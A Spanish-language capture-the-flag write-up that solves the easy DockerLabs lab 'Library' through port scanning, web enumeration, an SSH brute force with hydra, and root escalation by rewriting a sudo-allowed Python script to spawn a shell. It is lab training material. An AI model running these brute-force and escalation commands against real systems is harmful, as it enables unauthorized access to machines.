Ir al contenido

Library

En este artículo se documenta la resolución de la máquina virtual Library, diseñada por El Pingüino de Mario y catalogada como de dificultad fácil. Se presenta un recorrido detallado por las etapas de reconocimiento, explotación y escalada de privilegios, utilizando herramientas comúnmente empleadas en entornos de captura la bandera (CTF).

  • Nombre: Library
  • Autor: El Pingüino de Mario
  • Nivel de Dificultad: Fácil
  • Fecha de creación: 13/05/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo:

    Ventana de terminal
    unzip Library.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh Library.tar

Al iniciarse la máquina virtual, se muestra directamente su dirección IP, por lo que no se requiere escaneo ARP.

IP

Preparamos el entorno de trabajo:

Ventana de terminal
mkdir Library
cd Library
mkt # Crea: content, exploits, nmap, scripts

Iniciamos con un escaneo completo de puertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Examinamos los servicios asociados a los puertos 22 (SSH) y 80 (HTTP):

Ventana de terminal
nmap -sCV -p22,80 172.17.0.2 -oN targeted

Servicios

Procedemos a enumerar rutas en el servidor web utilizando gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Gobuster

Los únicos archivos detectados fueron:

  • index.html index.html

  • index.php index.php

Dado que no se encontraron rutas sensibles ni formularios, decidimos probar autenticación por fuerza bruta sobre SSH. Usamos hydra con una contraseña conocida:

Ventana de terminal
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \
-p JIFGHDS87GYDFIGD ssh://172.17.0.2 -t 4

Hydra

Una vez identificado el nombre de usuario válido, accedemos vía SSH:

SSH

Consultamos los privilegios sudo disponibles:

Ventana de terminal
sudo -l

Detectamos que se permite la ejecución de un script Python como superusuario sin contraseña:

sudo -l

Editamos el archivo /opt/script.py con el siguiente código para obtener una shell como root:

import os
os.setuid(0)
os.system("/bin/sh")

Ejecutamos el script usando sudo:

Ventana de terminal
sudo python3 /opt/script.py

Esto nos otorga acceso como superusuario:

Root access

La máquina Library ofrece una experiencia introductoria ideal para familiarizarse con técnicas básicas de enumeración web, fuerza bruta en SSH y escalada de privilegios a través de scripts con permisos sudo. Su estructura clara permite aplicar una metodología ordenada de análisis, aprovechando cada hallazgo para avanzar hasta la obtención del acceso como usuario root.